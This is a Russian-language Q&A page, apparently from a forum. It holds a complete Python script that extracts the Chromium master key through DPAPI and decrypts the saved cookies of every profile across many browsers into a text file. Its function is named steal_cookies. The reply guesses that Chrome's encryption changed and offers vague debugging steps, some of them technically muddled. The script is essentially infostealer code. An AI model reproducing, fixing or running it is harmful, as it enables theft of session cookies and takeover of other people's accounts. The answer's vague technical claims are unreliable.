Вопрос или проблема
Итак, у меня есть простой скрипт, который извлекает мастер-ключ и расшифровывает куки с использованием мастер-ключа. И он работал хорошо в последний раз, когда я его тестировал, а это было год назад.
Однако сейчас, когда я его запускаю, он выдает ошибку, по сути, ошибка говорит, что проверка MAC для расшифровки не удалась, что означает, что ключ (мастер-ключ), предоставленный для расшифровки, неверен.
import asyncio
import io
import json
import os
import re
import threading
import sqlite3
from base64 import b64decode
from time import time
from cryptography.exceptions import InvalidTag
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from win32crypt import CryptUnprotectData
APPDATA = os.getenv("localappdata")
BROWSERS = {
"amigo": APPDATA + "\\Amigo\\User Data",
"torch": APPDATA + "\\Torch\\User Data",
"kometa": APPDATA + "\\Kometa\\User Data",
"orbitum": APPDATA + "\\Orbitum\\User Data",
"cent-browser": APPDATA + "\\CentBrowser\\User Data",
"7star": APPDATA + "\\7Star\\7Star\\User Data",
"sputnik": APPDATA + "\\Sputnik\\Sputnik\\User Data",
"vivaldi": APPDATA + "\\Vivaldi\\User Data",
"google-chrome-sxs": APPDATA + "\\Google\\Chrome SxS\\User Data",
"google-chrome": APPDATA + "\\Google\\Chrome\\User Data",
"epic-privacy-browser": APPDATA + "\\Epic Privacy Browser\\User Data",
"microsoft-edge": APPDATA + "\\Microsoft\\Edge\\User Data",
"uran": APPDATA + "\\uCozMedia\\Uran\\User Data",
"yandex": APPDATA + "\\Yandex\\YandexBrowser\\User Data",
"brave": APPDATA + "\\BraveSoftware\\Brave-Browser\\User Data",
"iridium": APPDATA + "\\Iridium\\User Data",
"edge": APPDATA + "\\Microsoft\\Edge\\User Data",
}
IO_FILE_TO_STORE_COOKIES = io.BytesIO()
IO_FILE_LOCK = threading.Lock()
def windows_unprot(encrypted_str: bytes) -> bytes:
return CryptUnprotectData(encrypted_str, None, None, None, 0)[1]
def getkey(path: [str, os.PathLike]) -> [bytes, None]:
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
try:
master_key = b64decode(local_state["os_crypt"]["encrypted_key"])
return windows_unprot(master_key[5:])
except KeyError:
return None
def decrypt_value(buff, master_key) -> str:
try:
iv = buff[3:15]
payload = buff[15:]
aesgcm = AESGCM(master_key)
ciphertext = payload[:-16]
auth_tag = payload[-16:]
full_payload = ciphertext + auth_tag
decrypted_pass = aesgcm.decrypt(iv, full_payload, None)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except InvalidTag:
return f'Не удалось расшифровать | Ошибка: проверка MAC не удалась'
except Exception as e:
return f'Не удалось расшифровать | Ошибка: {e}'
def steal_cookies(path: str, profile: str, master_key: bytes, file: io.BytesIO):
path = os.path.join(path, profile, "Network", "Cookies")
print(path)
if not os.path.isfile(path):
return
conn = sqlite3.connect(path)
conn.text_factory = lambda b: b.decode(errors="ignore")
cursor = conn.cursor()
for res in cursor.execute(
"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall():
host_key, name, path, encrypted_value, expires_utc = res
value = decrypt_value(encrypted_value, master_key)
if host_key and name and value != "":
with IO_FILE_LOCK:
file.seek(0)
if (
"{}\t{}\t{}\t{}\t{}\t{}\t{}\n".format(
host_key,
"FALSE" if expires_utc == 0 else "TRUE",
path,
"FALSE" if host_key.startswith(".") else "TRUE",
expires_utc,
name,
value,
)
).encode() not in file.read():
file.seek(0, 2)
file.write(
(
"{}\t{}\t{}\t{}\t{}\t{}\t{}\n".format(
host_key,
"FALSE" if expires_utc == 0 else "TRUE",
path,
"FALSE" if host_key.startswith(".") else "TRUE",
expires_utc,
name,
value,
)
).encode()
)
cursor.close()
def find_profiles(browser_path):
profiles = []
for profile in os.listdir(browser_path):
if os.path.isdir(os.path.join(browser_path, profile)) and re.match(
r"^Profile \d+|Default", profile
):
profiles.append(profile)
return profiles
def get_cookie(name, path):
master_key = getkey(os.path.join(path, "Local State"))
profiles = find_profiles(path)
for profile in profiles:
try:
steal_cookies(path, profile, master_key, IO_FILE_TO_STORE_COOKIES)
except sqlite3.OperationalError as e:
print(f"Исключение: {e}, Браузер: {name}")
async def main():
tasks = []
for name, path in BROWSERS.items():
if not os.path.exists(path) or not os.path.isdir(path):
continue
tasks.append(
asyncio.create_task(asyncio.to_thread(get_cookie, name, path))
)
await asyncio.gather(*tasks)
IO_FILE_TO_STORE_COOKIES.seek(0)
with open("Все куки.txt", "wb") as f:
f.write(IO_FILE_TO_STORE_COOKIES.read())
if __name__ == "__main__":
start_time = time()
asyncio.run(main())
print(f"Завершено за {round(time() - start_time, 2)} секунд.")
Итак, мой вопрос: Делаю ли я что-то неправильно или Google изменил способ шифрования куки?
Ответ или решение
Изменились ли методы шифрования куки Google?
Ваша проблема с расшифровкой куки в браузере Google Chrome может быть связана с изменениями, которые могли произойти в методах шифрования, применяемых браузером, а также с возможными изменениями в структуре его файлов. В данном контексте важно рассмотреть несколько ключевых аспектов.
1. Изменение алгоритмов шифрования
Google регулярно обновляет свои продукты, включая Core браузера. Это может включать улучшение алгоритмов безопасности, которые используются для шифрования чувствительных данных, таких как куки. На протяжении последних обновлений разработчики могут изменить алгоритмы или механизмы, которые использует local_state
для хранения ключей шифрования. Это также включает в себя различные улучшения во встроенной криптографии, призванные защитить данные пользователей.
2. Вкладка шифрования Master Key
Ваш код использует CryptUnprotectData
, чтобы расшифровывать мастер-ключ, полученный из файла Local State
. Возможно, формат хранения этого мастер-ключа изменился, что привело к тому, что ваш код больше не может корректно извлечь его. Убедитесь, что структура JSON в Local State
соответствует ожидаемому формату. Необходимо проверить, не изменился ли путь к os_crypt
или название ключа.
3. MAC (Message Authentication Code)
Сообщение о том, что "проверка MAC для расшифровки не удалась", сигнализирует о том, что данные, которые вы пытаетесь расшифровать, были изменены или повреждены, либо мастер-ключ, используемый для расшифровки, также был изменен. Ваша функция decrypt_value
пытается применить MAC к расшифрованным данным, и если предоставленный ключ больше не совпадает с тем, что используется в текущей версии браузера, это может вызвать такую ошибку.
Важно отметить, что использование старых версий библиотек или самой логики шифрования тоже может повлиять на данный процесс. Убедитесь, что у вас установлены последние версии используемых вами библиотек cryptography и win32crypt.
4. Тестирование и диагностика
Для дальнейшего анализа предлагаю вам выполнить следующие шаги:
- Проверьте обновления Google Chrome, чтобы определить, не было ли введено каких-либо значительных изменений после последней успешной работы вашего скрипта.
- Определите, получаете ли вы корректные данные из
Local State
, конкретно обратите внимание на секциюos_crypt
и соответствующий ключ. - Протестируйте возможность шифрования и расшифрования небольшого набора данных, чтобы убедиться, что ваша реализация работы с
AESGCM
по-прежнему корректна. - По возможности, обратитесь к официальной документации или сообществу Google Chrome для получения информации о возможных изменениях в архитектуре шифрования, которые могли произойти.
Заключение
Ваша проблема с расшифровкой куки, скорее всего, связана с изменениями в методах шифрования Google. Это вызвано как обновлениями системы безопасности, так и потенциальным изменением формата данных. Поэтому важно тщательно проверять все изменения последних обновлений Chrome и адаптировать ваши методы работы с данными в соответствии с ними.